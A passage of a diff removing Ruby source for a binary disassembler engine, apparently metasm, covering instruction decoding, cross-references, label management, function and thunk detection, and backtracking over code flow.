value) - Expression[Expression[value].bind(di.backtrace_binding ||= get_backtrace_binding(di)).reduce] - end - - # returns a list of Expressions/Integer to backtrace to find an execution target - def get_xrefs_x(dasm, di) - end - - # returns a list of [type, address, len] - def get_xrefs_rw(dasm, di) - get_xrefs_r(dasm, di).map { |addr, len| [:r, addr, len] } + get_xrefs_w(dasm, di).map { |addr, len| [:w, addr, len] } - end - - # returns a list [addr, len] - def get_xrefs_r(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - r = b.values - x = get_xrefs_x(dasm, di) - r |= x if x - (r.grep(Indirection) + r.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # returns a list [addr, len] - def get_xrefs_w(dasm, di) - b = di.backtrace_binding ||= get_backtrace_binding(di) - w = b.keys - (w.grep(Indirection) + w.grep(Expression).map { |e| e.expr_indirections }.flatten).map { |e| [e.target, e.len] } - end - - # checks if the expression corresponds to a function return value with the instruction - # (eg di == 'call something' and expr == [esp]) - def backtrace_is_function_return(expr, di=nil) - end - - # updates f.backtrace_binding when a new return address has been found - # TODO update also when anything changes inside the function (new loop found etc) - use backtracked_for ? - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - end - - # returns if the expression is an address on the stack - # (to avoid trying to backtrace its absolute address until we found function boundaries) - def backtrace_is_stack_address(expr) - end - - # updates the instruction arguments: replace an expression with another (eg when a label is renamed) - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; Expression[a.bind(old => new).reduce] - else a - end - } - end - - # a callback called whenever a backtrace is successful - # di is the decodedinstruction at the backtrace's origin - def backtrace_found_result(dasm, di, expr, type, len) - end -end - -class ExeFormat - # returns a string containing asm-style section declaration - def dump_section_header(addr, edata) - "\n// section at #{Expression[addr]}" - end - - # returns an array of expressions that may be executed by this instruction - def get_xrefs_x(dasm, di) @cpu.get_xrefs_x(dasm, di) end - - # returns an array of [type, expression, length] that may be accessed by this instruction (type is :r/:w, len is in bytes) - def get_xrefs_rw(dasm, di) @cpu.get_xrefs_rw(dasm, di) end -end - -# a disassembler class -# holds a copy of a program sections, a list of decoded instructions, xrefs -# is able to backtrace an expression from an address following the call flow (backwards) -class Disassembler - attr_accessor :program, :cpu - # binding (jointure of @sections.values.exports) - attr_accessor :prog_binding - # hash addr => edata - attr_accessor :sections - # hash addr => DecodedInstruction - attr_accessor :decoded - # hash addr => DecodedFunction (includes 'imported' functions) - attr_accessor :function - # hash addr => (array of) xrefs - access with +add_xref+/+each_xref+ - attr_accessor :xrefs - # bool, true to check write xrefs on each instr disasm (default true) - attr_accessor :check_smc - # list of [addr to disassemble, (optional)who jumped to it, (optional)got there by a subfunction return] - attr_accessor :addrs_todo - # hash address => binding - attr_accessor :address_binding - # number of blocks to backtrace before aborting if no result is found (defaults to class.backtrace_maxblocks, 50 by default) - attr_accessor :backtrace_maxblocks - # maximum backtrace length for :r/:w, defaults to backtrace_maxblocks - attr_accessor :backtrace_maxblocks_data - # max bt length for backtrace_fast blocks, default=0 - attr_accessor :backtrace_maxblocks_fast - # max complexity for an Expr during backtrace before abort - attr_accessor :backtrace_maxcomplexity, :backtrace_maxcomplexity_data - # maximum number of instructions inside a basic block, split past this limit - attr_accessor :disassemble_maxblocklength - # a cparser that parsed some C header files, prototypes are converted to DecodedFunction when jumped to - attr_accessor :c_parser - # hash address => array of strings - # default dasm dump will only show comments at beginning of code blocks - attr_accessor :comment - # bool, set to true (default) if functions with undetermined binding should be assumed to return with ABI-conforming binding (conserve frame ptr) - attr_accessor :funcs_stdabi - # callback called whenever an instruction will backtrace :x (before the backtrace is started) - # arguments: |addr of origin, array of exprs to backtrace| - # must return the replacement array, nil == [] - attr_accessor :callback_newaddr - # called whenever an instruction is decoded and added to an instruction block. arg: the new decoded instruction - # returns the new di to consider (nil to end block) - attr_accessor :callback_newinstr - # called whenever the disassembler tries to disassemble an addresse that has been written to. arg: the address - attr_accessor :callback_selfmodifying - # called when the disassembler stops (stopexec/undecodable instruction) - attr_accessor :callback_stopaddr - # callback called before each backtrace that may take some time - attr_accessor :callback_prebacktrace - # callback called once all addresses have been disassembled - attr_accessor :callback_finished - # pointer to the gui widget we're displayed in - attr_accessor :gui - - @@backtrace_maxblocks = 50 - - # creates a new disassembler - def initialize(program, cpu=program.cpu) - reinitialize(program, cpu) - end - - # resets the program - def reinitialize(program, cpu=program.cpu) - @program = program - @cpu = cpu - @sections = {} - @decoded = {} - @xrefs = {} - @function = {} - @check_smc = true - @prog_binding = {} - @old_prog_binding = {} # same as prog_binding, but keep old var names - @addrs_todo = [] - @addrs_done = [] - @address_binding = {} - @backtrace_maxblocks = @@backtrace_maxblocks - @backtrace_maxblocks_fast = 0 - @backtrace_maxcomplexity = 40 - @backtrace_maxcomplexity_data = 5 - @disassemble_maxblocklength = 100 - @comment = {} - @funcs_stdabi = true - end - - # adds a section, updates prog_binding - # base addr is an Integer or a String (label name for offset 0) - def add_section(encoded, base) - encoded, base = base, encoded if base.kind_of? EncodedData - case base - when ::Integer - when ::String - raise "invalid section base #{base.inspect} - not at section start" if encoded.export[base] and encoded.export[base] != 0 - if ed = get_edata_at(base) - ed.del_export(base) - end - encoded.add_export base, 0 - else raise "invalid section base #{base.inspect} - expected string or integer" - end - - @sections[base] = encoded - @label_alias_cache = nil - encoded.binding(base).each { |k, v| - @old_prog_binding[k] = @prog_binding[k] = v.reduce - } - - # update section_edata.reloc - # label -> list of relocs that refers to it - @inv_section_reloc ||= {} - @sections.each { |b, e| - e.reloc.each { |o, r| - r.target.externals.grep(::String).each { |ext| (@inv_section_reloc[ext] ||= []) << [b, e, o, r] } - } - } - - self - end - - def add_xref(addr, x) - case @xrefs[addr] - when nil; @xrefs[addr] = x - when x - when ::Array; @xrefs[addr] |= [x] - else @xrefs[addr] = [@xrefs[addr], x] - end - end - - # yields each xref to a given address, optionnaly restricted to a type - def each_xref(addr, type=nil) - addr = normalize addr - - x = @xrefs[addr] - x = case x - when nil; [] - when ::Array; x.dup - else [x] - end - - x.delete_if { |x_| x_.type != type } if type - - # add pseudo-xrefs for exe relocs - if (not type or type == :reloc) and l = get_label_at(addr) and a = @inv_section_reloc[l] - a.each { |b, e, o, r| - addr = Expression[b]+o - # ignore relocs embedded in an already-listed instr - x << Xref.new(:reloc, addr) if not x.find { |x_| - next if not x_.origin or not di_at(x_.origin) - (addr - x_.origin) < @decoded[x_.origin].bin_length rescue false - } - } - end - - x.each { |x_| yield x_ } - end - - # parses a C header file, from which function prototypes will be converted to DecodedFunction when found in the code flow - def parse_c_file(file) - parse_c File.read(file), file - end - - # parses a C string for function prototypes - def parse_c(str, filename=nil, lineno=1) - @c_parser_constcache = nil - @c_parser ||= @cpu.new_cparser - @c_parser.lexer.define_weak('__METASM__DECODE__') - @c_parser.parse(str, filename, lineno) - rescue ParseError - @c_parser.lexer.feed! '' - raise - end - - # list the constants ([name, integer value]) defined in the C code (#define / enums) - def c_constants - @c_parser_constcache ||= @c_parser.numeric_constants - end - - # returns the canonical form of addr (absolute address integer or label of start of section + section offset) - def normalize(addr) - return addr if not addr or addr == :default - addr = Expression[addr].bind(@old_prog_binding).reduce if not addr.kind_of? Integer - addr %= 1 << [@cpu.size, 32].max if @cpu and addr.kind_of? Integer - addr - end - - # returns [edata, edata_base] or nil - # edata.ptr points to addr - def get_section_at(addr, memcheck=true) - case addr = normalize(addr) - when ::Integer - if s = @sections.find { |b, e| b.kind_of? ::Integer and addr >= b and addr < b + e.length } || - @sections.find { |b, e| b.kind_of? ::Integer and addr == b + e.length } # end label - s[1].ptr = addr - s[0] - return if memcheck and s[1].data.respond_to?(:page_invalid?) and s[1].data.page_invalid?(s[1].ptr) - [s[1], s[0]] - end - when Expression - if addr.op == :+ and addr.rexpr.kind_of? ::Integer and addr.rexpr >= 0 and addr.lexpr.kind_of? ::String and e = @sections[addr.lexpr] - e.ptr = addr.rexpr - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, Expression[addr.lexpr]] - elsif addr.op == :+ and addr.rexpr.kind_of? ::String and not addr.lexpr and e = @sections[addr.rexpr] - e.ptr = 0 - return if memcheck and e.data.respond_to?(:page_invalid?) and e.data.page_invalid?(e.ptr) - [e, addr.rexpr] - end - end - end - - # returns the label at the specified address, creates it if needed using "prefix_addr" - # renames the existing label if it is in the form rewritepfx_addr - # returns nil if the address is not known and is not a string - def auto_label_at(addr, base='xref', *rewritepfx) - addr = Expression[addr].reduce - addrstr = "#{base}_#{Expression[addr]}" - return if addrstr !~ /^\w+$/ - e, b = get_section_at(addr) - if not e - l = Expression[addr].reduce_rec if Expression[addr].reduce_rec.kind_of? ::String - l ||= addrstr if addr.kind_of? Expression and addr.externals.grep(::Symbol).empty? - elsif not l = e.inv_export[e.ptr] - l = @program.new_label(addrstr) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif rewritepfx.find { |p| base != p and addrstr.sub(base, p) == l } - newl = addrstr - newl = @program.new_label(newl) unless @old_prog_binding[newl] and @old_prog_binding[newl] == @prog_binding[l] # avoid _uuid when a -> b -> a - rename_label l, newl - l = newl - end - l - end - - # returns a hash associating addr => list of labels at this addr - # label_alias[a] may be nil if a new label is created elsewhere in the edata with the same name - def label_alias - if not @label_alias_cache - @label_alias_cache = {} - @prog_binding.each { |k, v| - (@label_alias_cache[v] ||= []) << k - } - end - @label_alias_cache - end - - # decodes instructions from an entrypoint, (tries to) follows code flow - def disassemble(*entrypoints) - nil while disassemble_mainiter(entrypoints) - self - end - - attr_accessor :entrypoints - - # do one operation relevant to disassembling - # returns nil once done - def disassemble_mainiter(entrypoints=[]) - @entrypoints ||= [] - if @addrs_todo.empty? and entrypoints.empty? - post_disassemble - puts 'disassembly finished' if $VERBOSE - @callback_finished[] if callback_finished - return false - elsif @addrs_todo.empty? - ep = entrypoints.shift - l = auto_label_at(normalize(ep), 'entrypoint') - puts "start disassemble from #{l} (#{entrypoints.length})" if $VERBOSE and not entrypoints.empty? - @entrypoints << l - @addrs_todo << [ep] - else - disassemble_step - end - true - end - - def post_disassemble - @decoded.each_value { |di| - next if not di.kind_of? DecodedInstruction - next if not di.opcode or not di.opcode.props[:saveip] - if not di.block.to_subfuncret - di.add_comment 'noreturn' - # there is no need to re-loop on all :saveip as check_noret is transitive - di.block.each_to_normal { |fa| check_noreturn_function(fa) } - end - } - @function.each { |addr, f| - next if not @decoded[addr] - if not f.finalized - f.finalized = true -puts " finalize subfunc #{Expression[addr]}" if debug_backtrace - backtrace_update_function_binding(addr, f) - if not f.return_address - detect_function_thunk(addr) - end - end - bd = f.backtrace_binding.reject { |k, v| Expression[k] == Expression[v] or Expression[v] == Expression::Unknown } - unk = f.backtrace_binding.map { |k, v| k if v == Expression::Unknown }.compact - bd[unk.map { |u| Expression[u].to_s }.sort.join(',')] = Expression::Unknown if not unk.empty? - add_comment(addr, "function binding: " + bd.map { |k, v| "#{k} -> #{v}" }.sort.join(', ')) - add_comment(addr, "function ends at " + f.return_address.map { |ra| Expression[ra] }.join(', ')) if f.return_address - } - end - - # disassembles one block from addrs_todo - # adds next addresses to handle to addrs_todo - # if @function[:default] exists, jumps to unknows locations are interpreted as to @function[:default] - def disassemble_step - return if not todo = @addrs_todo.pop or @addrs_done.include? todo - @addrs_done << todo if todo[1] - - # from_sfret is true if from is the address of a function call that returns to addr - addr, from, from_subfuncret = todo - - return if from == Expression::Unknown - - puts "disassemble_step #{Expression[addr]} #{Expression[from] if from} #{from_subfuncret} (/#{@addrs_todo.length})" if $DEBUG - - addr = normalize(addr) - - if from and from_subfuncret and di_at(from) - @decoded[from].block.each_to_normal { |subfunc| - subfunc = normalize(subfunc) - next if not f = @function[subfunc] or f.finalized - f.finalized = true -puts " finalize subfunc #{Expression[subfunc]}" if debug_backtrace - backtrace_update_function_binding(subfunc, f) - if not f.return_address - detect_function_thunk(subfunc) - end - } - end - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address, true) if not di.block_head? # this updates di.block - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - bf = di.block - elsif di == true - bf = @function[addr] - end - elsif bf = @function[addr] - detect_function_thunk_noreturn(from) if bf.noreturn - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - disassemble_block(block) - elsif from and c_parser and name = Expression[addr].reduce_rec and name.kind_of? ::String and - s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - bf = @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if bf.noreturn - elsif from - if bf = @function[:default] - puts "using default function for #{Expression[addr]} from #{Expression[from]}" if $DEBUG - if name = Expression[addr].reduce_rec and name.kind_of? ::String - @function[addr] = @function[:default].dup - else - addr = :default - end - if @decoded[from] - @decoded[from].block.add_to addr - end - else - puts "not disassembling unknown address #{Expression[addr]} from #{Expression[from]}" if $DEBUG - end - if from != :default - add_xref(addr, Xref.new(:x, from)) - add_xref(Expression::Unknown, Xref.new(:x, from)) - end - else - puts "not disassembling unknown address #{Expression[addr]}" if $VERBOSE - end - - if bf and from and from != :default - if bf.kind_of? DecodedFunction - bff = bf.get_backtracked_for(self, addr, from) - else - bff = bf.backtracked_for - end - end - bff.each { |btt| - next if btt.address - if @decoded[from].kind_of? DecodedInstruction and @decoded[from].opcode.props[:saveip] and not from_subfuncret and not @function[addr] - backtrace_check_found(btt.expr, @decoded[addr], btt.origin, btt.type, btt.len, btt.maxdepth, btt.detached) - end - next if backtrace_check_funcret(btt, addr, from) - backtrace(btt.expr, from, - :include_start => true, :from_subfuncret => from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, - :len => btt.len, :detached => btt.detached, :maxdepth => btt.maxdepth) - } if bff - end - - # splits an InstructionBlock, updates the blocks backtracked_for - def split_block(block, address=nil, rebacktrace=false) - if not address # invoked as split_block(0x401012) - return if not @decoded[block].kind_of? DecodedInstruction - block, address = @decoded[block].block, block - end - return block if address == block.address - new_b = block.split address - if rebacktrace - new_b.backtracked_for.dup.each { |btt| - backtrace(btt.expr, btt.address, - :only_upto => block.list.last.address, - :include_start => !btt.exclude_instr, :from_subfuncret => btt.from_subfuncret, - :origin => btt.origin, :orig_expr => btt.orig_expr, :type => btt.type, :len => btt.len, - :detached => btt.detached, :maxdepth => btt.maxdepth) - } - end - new_b - end - - # disassembles a new instruction block at block.address (must be normalized) - def disassemble_block(block) - raise if not block.list.empty? - di_addr = block.address - delay_slot = nil - di = nil - - # try not to run for too long - # loop usage: break if the block continues to the following instruction, else return - @disassemble_maxblocklength.times { - # check collision into a known block - break if @decoded[di_addr] - - # check self-modifying code - if @check_smc - #(-7...di.bin_length).each { |off| # uncomment to check for unaligned rewrites - waddr = di_addr #di_addr + off - each_xref(waddr, :w) { |x| - #next if off + x.len < 0 - puts "W: disasm: self-modifying code at #{Expression[waddr]}" if $VERBOSE - add_comment(di_addr, "overwritten by #{@decoded[x.origin]}") - @callback_selfmodifying[di_addr] if callback_selfmodifying - return - } - #} - end - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - ed = block.edata - break if ed.ptr >= ed.length and get_section_at(di_addr) and di = block.list.last - puts "#{ed.ptr >= ed.length ? "end of section reached" : "unknown instruction #{ed.data[di_addr-block.address+block.edata_ptr, 4].to_s.unpack('H*')}"} at #{Expression[di_addr]}" if $VERBOSE - return - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - if callback_newinstr - ndi = @callback_newinstr[di] - if not ndi or not ndi.block - block.list.delete di - if ndi - block.add_di ndi - ndi.bin_length = di.bin_length if ndi.bin_length == 0 - @decoded[di_addr] = ndi - end - end - di = ndi - end - return if not di - block = di.block - - di_addr = di.next_addr - - backtrace_xrefs_di_rw(di) - - if not di_addr or di.opcode.props[:stopexec] or not @program.get_xrefs_x(self, di).empty? - # do not backtrace until delay slot is finished (eg MIPS: di is a - # ret and the delay slot holds stack fixup needed to calc func_binding) - # XXX if the delay slot is also xref_x or :stopexec it is ignored - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - di, delay = delay_slot - if delay == 0 or not di_addr - backtrace_xrefs_di_x(di) - if di.opcode.props[:stopexec] or not di_addr; return - else break - end - end - delay_slot[1] = delay - 1 - end - } - - ar = [di_addr] - ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr - ar.each { |di_addr_| backtrace(di_addr_, di.address, :origin => di.address, :type => :x) } - - block - end - - # retrieve the list of execution crossrefs due to the decodedinstruction - # returns a list of symbolic expressions - def get_xrefs_x(di) - @program.get_xrefs_x(self, di) - end - - # retrieve the list of data r/w crossrefs due to the decodedinstruction - # returns a list of [type, symbolic expression, length] - def get_xrefs_rw(di) - @program.get_xrefs_rw(self, di) - end - - # disassembles_fast from a list of entrypoints, also dasm subfunctions - def disassemble_fast_deep(*entrypoints) - @entrypoints ||= [] - @entrypoints |= entrypoints - - entrypoints.each { |ep| do_disassemble_fast_deep(normalize(ep)) } - - @callback_finished[] if callback_finished - end - - def do_disassemble_fast_deep(ep) - disassemble_fast(ep) { |fa, di| - fa = normalize(fa) - do_disassemble_fast_deep(fa) - if di and ndi = di_at(fa) - ndi.block.add_from_normal(di.address) - end - } - end - - # disassembles fast from a list of entrypoints - # see disassemble_fast_step - def disassemble_fast(entrypoint, maxdepth=-1, &b) - ep = [entrypoint] - until ep.empty? - disassemble_fast_step(ep, &b) - maxdepth -= 1 - ep.delete_if { |a| not @decoded[normalize(a[0])] } if maxdepth == 0 - end - check_noreturn_function(entrypoint) - end - - # disassembles one block from the ary, see disassemble_fast_block - def disassemble_fast_step(todo, &b) - return if not x = todo.pop - addr, from, from_subfuncret = x - - addr = normalize(addr) - - if di = @decoded[addr] - if di.kind_of? DecodedInstruction - split_block(di.block, di.address) if not di.block_head? - di.block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - end - elsif s = get_section_at(addr) - block = InstructionBlock.new(normalize(addr), s[0]) - block.add_from(from, from_subfuncret ? :subfuncret : :normal) if from and from != :default - todo.concat disassemble_fast_block(block, &b) - elsif name = Expression[addr].reduce_rec and name.kind_of? ::String and not @function[addr] - if c_parser and s = c_parser.toplevel.symbol[name] and s.type.untypedef.kind_of? C::Function - @function[addr] = @cpu.decode_c_function_prototype(@c_parser, s) - detect_function_thunk_noreturn(from) if @function[addr].noreturn - elsif @function[:default] - @function[addr] = @function[:default].dup - end - end - - disassemble_fast_checkfunc(addr) - end - - # check if an addr has an xref :x from a :saveip, if so mark as Function - def disassemble_fast_checkfunc(addr) - if @decoded[addr].kind_of? DecodedInstruction and not @function[addr] - func = false - each_xref(addr, :x) { |x_| - func = true if odi = di_at(x_.origin) and odi.opcode.props[:saveip] - } - if func - auto_label_at(addr, 'sub', 'loc', 'xref') - @function[addr] = (@function[:default] || DecodedFunction.new).dup - @function[addr].finalized = true - detect_function_thunk(addr) - puts "found new function #{get_label_at(addr)} at #{Expression[addr]}" if $VERBOSE - end - end - end - - # disassembles fast a new instruction block at block.address (must be normalized) - # does not recurse into subfunctions - # assumes all :saveip returns, except those pointing to a subfunc with noreturn - # yields subfunction addresses (targets of :saveip) - # no backtrace for :x (change with backtrace_maxblocks_fast) - # returns a todo-style ary - # assumes @addrs_todo is empty - def disassemble_fast_block(block, &b) - block = InstructionBlock.new(normalize(block), get_section_at(block)[0]) if not block.kind_of? InstructionBlock - di_addr = block.address - delay_slot = nil - di = nil - ret = [] - - return ret if @decoded[di_addr] - - @disassemble_maxblocklength.times { - break if @decoded[di_addr] - - # decode instruction - block.edata.ptr = di_addr - block.address + block.edata_ptr - if not di = @cpu.decode_instruction(block.edata, di_addr) - break if block.edata.ptr >= block.edata.length and get_section_at(di_addr) and di = block.list.last - return ret - end - - @decoded[di_addr] = di - block.add_di di - puts di if $DEBUG - - if callback_newinstr - ndi = @callback_newinstr[di] - if not ndi or not ndi.block - block.list.delete di - if ndi - block.add_di ndi - ndi.bin_length = di.bin_length if ndi.bin_length == 0 - @decoded[di_addr] = ndi - end - end - di = ndi - end - return ret if not di - - di_addr = di.next_addr - - if di.opcode.props[:stopexec] or di.opcode.props[:setip] - if di.opcode.props[:setip] - @addrs_todo = [] - ar = @program.get_xrefs_x(self, di) - ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr - ar.each { |expr| - backtrace(expr, di.address, :origin => di.address, :type => :x, :maxdepth => @backtrace_maxblocks_fast) - } - end - if di.opcode.props[:saveip] - @addrs_todo = [] - ret.concat disassemble_fast_block_subfunc(di, &b) - else - ret.concat @addrs_todo - @addrs_todo = [] - end - delay_slot ||= [di, @cpu.delay_slot(di)] - end - - if delay_slot - if delay_slot[1] <= 0 - return ret if delay_slot[0].opcode.props[:stopexec] - break - end - delay_slot[1] -= 1 - end - } - - ar = [di_addr] - ar = @callback_newaddr[block.list.last.address, ar] || ar if callback_newaddr - ar.each { |a| - di.block.add_to_normal(a) - ret << [a, di.address] - } - ret - end - - # handles when disassemble_fast encounters a call to a subfunction - def disassemble_fast_block_subfunc(di) - funcs = di.block.to_normal.to_a - do_ret = funcs.empty? - ret = [] - na = di.next_addr + di.bin_length * @cpu.delay_slot(di) - funcs.each { |fa| - fa = normalize(fa) - disassemble_fast_checkfunc(fa) - yield fa, di if block_given? - if f = @function[fa] and bf = f.get_backtracked_for(self, fa, di.address) and not bf.empty? - # this includes retaddr unless f is noreturn - bf.each { |btt| - next if btt.type != :x - bt = backtrace(btt.expr, di.address, :include_start => true, :origin => btt.origin, :maxdepth => [@backtrace_maxblocks_fast, 1].max) - if btt.detached - ret.concat bt # callback argument - elsif bt.find { |a| normalize(a) == na } - do_ret = true - end - } - elsif not f or not f.noreturn - do_ret = true - end - } - if do_ret - di.block.add_to_subfuncret(na) - ret << [na, di.address, true] - di.block.add_to_normal :default if not di.block.to_normal and @function[:default] - end - ret - end - - # trace whose xrefs this di is responsible of - def backtrace_xrefs_di_rw(di) - get_xrefs_rw(di).each { |type, ptr, len| - backtrace(ptr, di.address, :origin => di.address, :type => type, :len => len).each { |xaddr| - next if xaddr == Expression::Unknown - if @check_smc and type == :w - #len.times { |off| # check unaligned ? - waddr = xaddr #+ off - if wdi = di_at(waddr) - puts "W: disasm: #{di} overwrites #{wdi}" if $VERBOSE - wdi.add_comment "overwritten by #{di}" - end - #} - end - } - } - end - - # trace xrefs for execution - def backtrace_xrefs_di_x(di) - ar = @program.get_xrefs_x(self, di) - ar = @callback_newaddr[di.address, ar] || ar if callback_newaddr - ar.each { |expr| backtrace(expr, di.address, :origin => di.address, :type => :x) } - end - - # checks if the function starting at funcaddr is an external function thunk (eg jmp [SomeExtFunc]) - # the argument must be the address of a decodedinstruction that is the first of a function, - # which must not have return_addresses - # returns the new thunk name if it was changed - def detect_function_thunk(funcaddr) - # check thunk linearity (no conditionnal branch etc) - addr = funcaddr - count = 0 - while b = block_at(addr) - count += 1 - return if count > 5 or b.list.length > 5 - if b.to_subfuncret and not b.to_subfuncret.empty? - return if b.to_subfuncret.length != 1 - addr = normalize(b.to_subfuncret.first) - return if not b.to_normal or b.to_normal.length != 1 - # check that the subfunction is simple (eg get_eip) - return if not sf = @function[normalize(b.to_normal.first)] - return if not btb = sf.backtrace_binding - btb = btb.dup - btb.delete_if { |k, v| Expression[k] == Expression[v] } - return if btb.length > 2 or btb.values.include? Expression::Unknown - else - return if not bt = b.to_normal - if bt.include? :default - addr = :default - break - elsif bt.length != 1 - return - end - addr = normalize(bt.first) - end - end - fname = Expression[addr].reduce_rec - if funcaddr != addr and f = @function[funcaddr] - # forward get_backtrace_binding to target - f.backtrace_binding = { :thunk => addr } - f.noreturn = true if @function[addr] and @function[addr].noreturn - end - return if not fname.kind_of? ::String - l = auto_label_at(funcaddr, 'sub', 'loc') - return if l[0, 4] != 'sub_' - puts "found thunk for #{fname} at #{Expression[funcaddr]}" if $DEBUG - rename_label(l, @program.new_label("thunk_#{fname}")) - end - - # this is called when reaching a noreturn function call, with the call address - # it is responsible for detecting the actual 'call' instruction leading to this - # noreturn function, and eventually mark the call target as a thunk - def detect_function_thunk_noreturn(addr) - 5.times { - return if not di = di_at(addr) - if di.opcode.props[:saveip] and not di.block.to_subfuncret - if di.block.to_normal.to_a.length == 1 - taddr = normalize(di.block.to_normal.first) - if di_at(taddr) - @function[taddr] ||= DecodedFunction.new - return detect_function_thunk(taddr) - end - end - break - else - from = di.block.from_normal.to_a + di.block.from_subfuncret.to_a - if from.length == 1 - addr = from.first - else break - end - end - } - end - - # given an address, detect if it may be a noreturn fuction - # it is if all its end blocks are calls to noreturn functions - # if it is, create a @function[fa] with noreturn = true - # should only be called with fa = target of a call - def check_noreturn_function(fa) - fb = function_blocks(fa, false, false) - lasts = fb.keys.find_all { |k| fb[k] == [] } - return if lasts.empty? - if lasts.all? { |la| - b = block_at(la) - next if not di = b.list.last - (di.opcode.props[:saveip] and b.to_normal.to_a.all? { |tfa| - tf = function_at(tfa) and tf.noreturn - }) or (di.opcode.props[:stopexec] and not di.opcode.props[:setip]) - } - # yay - @function[fa] ||= DecodedFunction.new - @function[fa].noreturn = true - end - end - - - # walks the backtrace tree from an address, passing along an object - # - # the steps are (1st = event, followed by hash keys) - # - # for each decoded instruction encountered: - # :di :di - # - # when backtracking to a block through a decodedfunction: - # (yield for each of the block's subfunctions) - # (the decodedinstruction responsible for the call will be yield next) - # :func :func, :funcaddr, :addr, :depth - # - # when jumping from one block to another (excluding :loop): # XXX include :loops ? - # :up :from, :to, :sfret - # - # when the backtrack has nothing to backtrack to (eg program entrypoint): - # :end :addr - # - # when the backtrack stops by taking too long to complete: - # :maxdepth :addr - # - # when the backtrack stops for encountering the specified stop address: - # :stopaddr :addr - # - # when rebacktracking a block already seen in the current branch: - # (looptrace is an array of [obj, block end addr, from_subfuncret], from oldest to newest) - # :loop :looptrace - # - # when the address does not match a known instruction/function: - # :unknown_addr :addr - # - # the block return value is used as follow for :di, :func, :up and :loop: - # false => the backtrace stops for the branch - # nil => the backtrace continues with the current object - # anything else => the backtrace continues with this object - # - # method arguments: - # obj is the initial value of the object - # addr is the address where the backtrace starts - # include_start is a bool specifying if the backtrace should start at addr or just before - # from_subfuncret is a bool specifying if addr points to a decodedinstruction that calls a subfunction - # stopaddr is an [array of] address of instruction, the backtrace will stop just after executing it - # maxdepth is the maximum depth (in blocks) for each backtrace branch. - # (defaults to dasm.backtrace_maxblocks, which defaults do Dasm.backtrace_maxblocks) - def backtrace_walk(obj, addr, include_start, from_subfuncret, stopaddr, maxdepth) - start_addr = normalize(addr) - stopaddr = [stopaddr] if stopaddr and not stopaddr.kind_of? ::Array - - # array of [obj, addr, from_subfuncret, loopdetect] - # loopdetect is an array of [obj, addr, from_type] of each end of block encountered - todo = [] - - # array of [obj, blockaddr] - # avoids rewalking the same value - done = [] - - # updates todo with the addresses to backtrace next - walk_up = lambda { |w_obj, w_addr, w_loopdetect| - if w_loopdetect.length > maxdepth - yield :maxdepth, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif stopaddr and stopaddr.include?(w_addr) - yield :stopaddr, w_obj, :addr => w_addr, :loopdetect => w_loopdetect - elsif w_di = @decoded[w_addr] and w_di != w_di.block.list.first and w_di.address != w_di.block.address - prevdi = w_di.block.list[w_di.block.list.index(w_di)-1] - todo << [w_obj, prevdi.address, :normal, w_loopdetect] - elsif w_di - next if done.include? [w_obj, w_addr] - done << [w_obj, w_addr] - hadsomething = false - w_di.block.each_from { |f_addr, f_type| - next if f_type == :indirect - hadsomething = true - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == f_addr and l_type == f_type } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj # should avoid infinite loops - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => f_type, :loopdetect => w_loopdetect, :real_to => o_f_addr) - end - next if f_obj == false - f_obj ||= w_obj - f_loopdetect ||= w_loopdetect - # only count non-trivial paths in loopdetect (ignore linear links) - add_detect = [[f_obj, f_addr, f_type]] - add_detect = [] if @decoded[f_addr].kind_of? DecodedInstruction and tmp = @decoded[f_addr].block and - ((w_di.block.from_subfuncret.to_a == [] and w_di.block.from_normal == [f_addr] and - tmp.to_normal == [w_di.address] and tmp.to_subfuncret.to_a == []) or - (w_di.block.from_subfuncret == [f_addr] and tmp.to_subfuncret == [w_di.address])) - todo << [f_obj, f_addr, f_type, f_loopdetect + add_detect ] - } - yield :end, w_obj, :addr => w_addr, :loopdetect => w_loopdetect if not hadsomething - elsif @function[w_addr] and w_addr != :default and w_addr != Expression::Unknown - next if done.include? [w_obj, w_addr] - oldlen = todo.length - each_xref(w_addr, :x) { |x| - f_addr = x.origin - o_f_addr = f_addr - f_addr = @decoded[f_addr].block.list.last.address if @decoded[f_addr].kind_of? DecodedInstruction # delay slot - if l = w_loopdetect.find { |l_obj, l_addr, l_type| l_addr == w_addr } - f_obj = yield(:loop, w_obj, :looptrace => w_loopdetect[w_loopdetect.index(l)..-1], :loopdetect => w_loopdetect) - if f_obj and f_obj != w_obj - f_loopdetect = w_loopdetect[0...w_loopdetect.index(l)] - end - else - f_obj = yield(:up, w_obj, :from => w_addr, :to => f_addr, :sfret => :normal, :loopdetect => w_loopdetect, 